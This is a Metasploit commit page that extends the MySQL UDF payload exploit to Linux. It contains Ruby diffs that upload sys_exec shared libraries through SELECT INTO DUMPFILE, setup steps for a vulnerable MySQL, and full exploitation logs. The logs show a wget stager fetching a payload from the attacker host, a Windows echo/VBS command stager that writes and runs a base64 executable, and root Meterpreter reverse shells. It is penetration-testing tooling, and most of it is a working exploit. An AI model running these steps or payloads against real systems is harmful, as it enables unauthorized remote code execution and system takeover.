Skip to content

Commit caae33b

Browse files
wvuwvu
committed
Land rapid7#9170, Linux UDF for mysql_udf_payload
2 parents 909caa0 + c9e3b88 commit caae33b

File tree

5 files changed

+206
-10
lines changed

5 files changed

+206
-10
lines changed

‎data/exploits/mysql/lib_mysqludf_sys_32.so

5.56 KB
Binary file not shown.

‎data/exploits/mysql/lib_mysqludf_sys_64.so

7.85 KB
Binary file not shown.

‎documentation/modules/exploit/multi/mysql/mysql_udf_payload.md

Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
## Vulnerable Application
2+
3+
This vulnerability expoits mysql by adding a .so or .dll file which has a system call in it to the plugins folder.
4+
The file is then loaded by mysql, and arbitrary commands can be run. There are several caveats for this to
5+
function however, including:
6+
1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing
7+
to mysql's plugins folder
8+
2. on Ubuntu, apparmor needs a bunch of exceptions added, or to be disabled. Equivalents on other linux systems most likely need the same
9+
3. the mysql folder must be writable
10+
11+
### Linux (Ubuntu 16.04 x64) Configuration
12+
13+
In this configuration, we'll run mysql as root so we have a priv escalate.
14+
15+
1. Edit `/lib/systemd/system/mysql.service` and set `User=root`
16+
2. Edit `/etc/mysql/mysql.conf.d/mysqld.cnf`. After the `[mysqld]` section, change `user=mysql` to `user=root`
17+
3. Edit `/etc/mysql/mysql.conf.d/mysqld.cnf`. After the `[mysqld]` section, add `secure_file_priv=""`
18+
4. Disable app-armor for mysql: `sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld`
19+
5. Restart mysql service: `sudo systemctl restart mysql.service`
20+
21+
If you need to make the root user accessible remotely
22+
```
23+
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
24+
FLUSH PRIVILEGES;
25+
```
26+
or
27+
```
28+
update user set host='%' where host='127.0.0.1';
29+
```
30+
31+
### Windows (Server 2012 x64) Configuration
32+
33+
One good reference for these instructions is [PR #5334](https://github.com/rapid7/metasploit-framework/pull/5334)
34+
35+
1. Download and install mysql installer
36+
2. Install dependencies including, at the time of writing, Visual C++ 2013 Redistributable Package.
37+
3. Edit `C:\ProgramData\MySQL\MySQL Server\MySQL Server *\my.ini` and change the value of `secure-file-priv=` to `""`
38+
4. Make the `C:\Program Files\MySQL\MySQL Server *\lib\plugin` folder permissions writable by the MySQL (service) user.
39+
40+
If you need to make the root user accessible remotely
41+
```
42+
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
43+
FLUSH PRIVILEGES;
44+
```
45+
or
46+
```
47+
update user set host='%' where host='127.0.0.1';
48+
```
49+
50+
## Verification Steps
51+
52+
1. Install MySQL and make it vulnerable as described above
53+
2. Start msfconsole
54+
3. Do: ```use exploit/multi/mysql/mysql_udf_payload```
55+
4. Do: ```set rhost [ip]```
56+
5. Do: ```set srvhost [ip]```
57+
6. Make sure target and payload are correct
58+
7. Set mysql login information
59+
8. Do: ```exploit```
60+
9. You should get a shell.
61+
62+
## Options
63+
64+
**FORCE_UDF_UPLOAD**
65+
66+
This option will force the uploading of a UDF dll/so file even if one exists which has a system call already
67+
68+
## Scenarios
69+
70+
### Ubuntu 16.04 with MySQL 5.7.20
71+
72+
In this case, the service has been configured as noted in the first section of this document, a remotely accessible MySQL running as root.
73+
74+
```
75+
[*] Processing udf.rc for ERB directives.
76+
resource (udf.rc)> use exploit/multi/mysql/mysql_udf_payload
77+
resource (udf.rc)> set payload linux/x86/meterpreter/reverse_tcp
78+
payload => linux/x86/meterpreter/reverse_tcp
79+
resource (udf.rc)> set lhost 1.1.1.1
80+
lhost => 1.1.1.1
81+
resource (udf.rc)> set rhost 2.2.2.2
82+
rhost => 2.2.2.2
83+
resource (udf.rc)> set srvhost 1.1.1.1
84+
srvhost => 1.1.1.1
85+
resource (udf.rc)> set srvport 64423
86+
srvport => 64423
87+
resource (udf.rc)> set password wordpress
88+
password => wordpress
89+
resource (udf.rc)> set target 1
90+
target => 1
91+
resource (udf.rc)> set verbose true
92+
verbose => true
93+
msf exploit(mysql_udf_payload) > exploit
94+
95+
[*] Started reverse TCP handler on 1.1.1.1:4444
96+
[*] 2.2.2.2:3306 - Checking target architecture...
97+
[*] 2.2.2.2:3306 - Checking for sys_exec()...
98+
[*] 2.2.2.2:3306 - sys_exec() already available, using that (override with FORCE_UDF_UPLOAD).
99+
[*] 2.2.2.2:3306 - Using URL: http://1.1.1.1:64423/YMDYyVp1fG
100+
[*] 2.2.2.2:3306 - Client 2.2.2.2 (Wget/1.17.1 (linux-gnu)) requested /YMDYyVp1fG
101+
[*] 2.2.2.2:3306 - Sending payload to 2.2.2.2 (Wget/1.17.1 (linux-gnu))
102+
[*] Transmitting intermediate stager...(106 bytes)
103+
[*] Sending stage (826872 bytes) to 2.2.2.2
104+
[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:46330) at 2017-10-30 23:22:08 -0400
105+
[-] 2.2.2.2:3306 - Exploit failed: Rex::StreamClosedError Stream #<Socket:0x00561e7e1758e8> is closed.
106+
[*] 2.2.2.2:3306 - Server stopped.
107+
[*] Exploit completed, but no session was created.
108+
msf exploit(mysql_udf_payload) > sessions -i 4
109+
[*] Starting interaction with 4...
110+
111+
meterpreter > sysinfo
112+
Computer : 2.2.2.2
113+
OS : (Linux 4.4.0-98-generic)
114+
Architecture : x64
115+
Meterpreter : x86/linux
116+
meterpreter > getuid
117+
Server username: uid=0, gid=0, euid=0, egid=0
118+
```
119+
120+
### Windows Server 2012 with MySQL 5.7.20
121+
122+
```
123+
[*] Processing udf.rc for ERB directives.
124+
resource (udf.rc)> use exploit/multi/mysql/mysql_udf_payload
125+
resource (udf.rc)> set lhost 1.1.1.1
126+
lhost => 1.1.1.1
127+
resource (udf.rc)> set srvhost 1.1.1.1
128+
srvhost => 1.1.1.1
129+
resource (udf.rc)> set srvport 64423
130+
srvport => 64423
131+
resource (udf.rc)> set verbose true
132+
verbose => true
133+
msf exploit(mysql_udf_payload) > set target 0
134+
target => 0
135+
msf exploit(mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
136+
payload => windows/meterpreter/reverse_tcp
137+
msf exploit(mysql_udf_payload) > set rhost 3.3.3.3
138+
rhost => 3.3.3.3
139+
msf exploit(mysql_udf_payload) > set password mysql
140+
password => mysql
141+
msf exploit(mysql_udf_payload) > exploit
142+
143+
[*] Started reverse TCP handler on 1.1.1.1:4444
144+
[*] 3.3.3.3:3306 - Checking target architecture...
145+
[*] 3.3.3.3:3306 - Checking for sys_exec()...
146+
[*] 3.3.3.3:3306 - Checking target architecture...
147+
[*] 3.3.3.3:3306 - Checking for MySQL plugin directory...
148+
[*] 3.3.3.3:3306 - Target arch (win64) and target path both okay.
149+
[*] 3.3.3.3:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/jfAzUfJP.dll...
150+
[*] 3.3.3.3:3306 - Checking for sys_exec()...
151+
[*] 3.3.3.3:3306 - Executing: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAyzSjSgAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAB2HwAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\EkEiJ.b64
152+
[*] 3.3.3.3:3306 - Command Stager progress - 1.47% done (1499/102246 bytes)
153+
```
154+
...snip...
155+
```
156+
[*] 3.3.3.3:3306 - Executing: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\EkEiJ.b64
157+
[*] 3.3.3.3:3306 - Command Stager progress - 96.76% done (98934/102246 bytes)
158+
[*] 3.3.3.3:3306 - Executing: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\EkEiJ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\GTKoi.vbs & echo Set file = fs.GetFile("%TEMP%\EkEiJ.b64") >>%TEMP%\GTKoi.vbs & echo If file.Size Then >>%TEMP%\GTKoi.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\EkEiJ.b64", 1) >>%TEMP%\GTKoi.vbs & echo data = fd.ReadAll >>%TEMP%\GTKoi.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\GTKoi.vbs & echo data = base64_decode(data) >>%TEMP%\GTKoi.vbs & echo fd.Close >>%TEMP%\GTKoi.vbs
159+
[*] 3.3.3.3:3306 - Command Stager progress - 98.19% done (100400/102246 bytes)
160+
[*] 3.3.3.3:3306 - Executing: echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\CVVsw.exe", 2, True) >>%TEMP%\GTKoi.vbs & echo ofs.Write data >>%TEMP%\GTKoi.vbs & echo ofs.close >>%TEMP%\GTKoi.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\GTKoi.vbs & echo shell.run "%TEMP%\CVVsw.exe", 0, false >>%TEMP%\GTKoi.vbs & echo Else >>%TEMP%\GTKoi.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\GTKoi.vbs & echo End If >>%TEMP%\GTKoi.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\GTKoi.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\GTKoi.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\GTKoi.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\GTKoi.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\GTKoi.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\GTKoi.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\GTKoi.vbs & echo If Not w2 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\GTKoi.vbs & echo If Not w3 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\GTKoi.vbs & echo If Not w4 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\GTKoi.vbs & echo Next >>%TEMP%\GTKoi.vbs & echo base64_decode = strOut >>%TEMP%\GTKoi.vbs & echo End Function >>%TEMP%\GTKoi.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\GTKoi.vbs
161+
[*] 3.3.3.3:3306 - Command Stager progress - 99.59% done (101827/102246 bytes)
162+
[*] 3.3.3.3:3306 - Executing: echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\GTKoi.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\GTKoi.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\GTKoi.vbs & echo Else >>%TEMP%\GTKoi.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\GTKoi.vbs & echo End If >>%TEMP%\GTKoi.vbs & echo End Function >>%TEMP%\GTKoi.vbs & cscript //nologo %TEMP%\GTKoi.vbs
163+
[*] 3.3.3.3:3306 - Command Stager progress - 100.00% done (102246/102246 bytes)
164+
[*] Sending stage (179267 bytes) to 3.3.3.3
165+
[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 3.3.3.3:49165) at 2017-11-02 23:12:07 -0400
166+
167+
meterpreter > sysinfo
168+
Computer : WIN-OBKF2JFCDKL
169+
OS : Windows 2012 (Build 9200).
170+
Architecture : x64
171+
System Language : en_US
172+
Domain : WORKGROUP
173+
Logged On Users : 1
174+
Meterpreter : x86/windows
175+
```

‎lib/msf/core/exploit/mysql.rb

Lines changed: 24 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -144,21 +144,32 @@ def mysql_upload_binary(bindata)
144144
binname = Rex::Text.rand_text_alpha(8)
145145
binpath = tmpdir << binname
146146
print_status "Uploading binary as #{binpath}..."
147+
print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
147148
res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
148149
return res
149150
end
150151

151152
def mysql_upload_sys_udf(arch=:win32,target_path=nil)
152-
fname = (arch == :win32 ? "lib_mysqludf_sys_32.dll" : "lib_mysqludf_sys_64.dll")
153+
case arch
154+
when :win32
155+
fname = 'lib_mysqludf_sys_32.dll'
156+
when :win64
157+
fname = 'lib_mysqludf_sys_64.dll'
158+
when :linux32
159+
fname = 'lib_mysqludf_sys_32.so'
160+
when :linux64
161+
fname = 'lib_mysqludf_sys_64.so'
162+
end
153163
sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
154164
data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
155165
blob = "0x"
156166
blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
157167
dll_name = Rex::Text.rand_text_alpha(8)
158-
target_dll = target_path << dll_name << ".dll"
168+
[:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
169+
target_dll = target_path << dll_name << extension
159170
print_status "Uploading #{fname} library to #{target_dll}..."
160171
mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
161-
return dll_name << ".dll"
172+
return dll_name << extension
162173
end
163174

164175
def mysql_drop_and_create_sys_exec(soname)
@@ -181,6 +192,15 @@ def mysql_get_arch
181192
:win64
182193
when /Win32/i
183194
:win32
195+
when /Linux/i
196+
# we need a second query to determine bits
197+
res = mysql_get_variable("@@version_compile_machine")
198+
return :unknown unless res
199+
if res =~ /x86_64/i
200+
:linux64
201+
else
202+
:linux32
203+
end
184204
else
185205
res
186206
end
@@ -189,7 +209,7 @@ def mysql_get_arch
189209
def mysql_add_sys_exec
190210
arch = mysql_get_arch
191211
case arch
192-
when :win64,:win32
212+
when :win64,:win32,:linux64,:linux32
193213
target_path = mysql_get_plugin_dir
194214
if target_path
195215
print_status "Target arch (#{arch}) and target path both okay."

‎modules/exploits/windows/mysql/mysql_payload.rb renamed to ‎modules/exploits/multi/mysql/mysql_udf_payload.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
16+
'Name' => 'Oracle MySQL UDF Payload Execution',
1717
'Description' => %q{
1818
This module creates and enables a custom UDF (user defined function) on the
1919
target host via the SELECT ... into DUMPFILE method of binary injection. On
@@ -27,20 +27,21 @@ def initialize(info = {})
2727
'Author' =>
2828
[
2929
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
30-
'todb' # this Metasploit module
30+
'todb', # this Metasploit module
31+
'h00die' # linux addition
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
3435
[
3536
# Bernardo's work with cmd exec via udf
3637
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ]
3738
],
38-
'Platform' => 'win',
39+
'Platform' => ['win', 'linux'],
3940
'Targets' =>
4041
[
41-
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
42+
[ 'Windows', {'CmdStagerFlavor' => 'vbs'} ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
43+
[ 'Linux', {'CmdStagerFlavor' => 'wget' } ]
4244
],
43-
'CmdStagerFlavor' => 'vbs',
4445
'DefaultTarget' => 0,
4546
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
4647
))
@@ -83,7 +84,7 @@ def exploit
8384

8485
if not m
8586
return
86-
elsif not [:win32,:win64].include?(@mysql_arch)
87+
elsif not [:win32,:win64,:linux64,:linux32].include?(@mysql_arch)
8788
print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")
8889
return
8990
else

0 commit comments

Comments
 (0)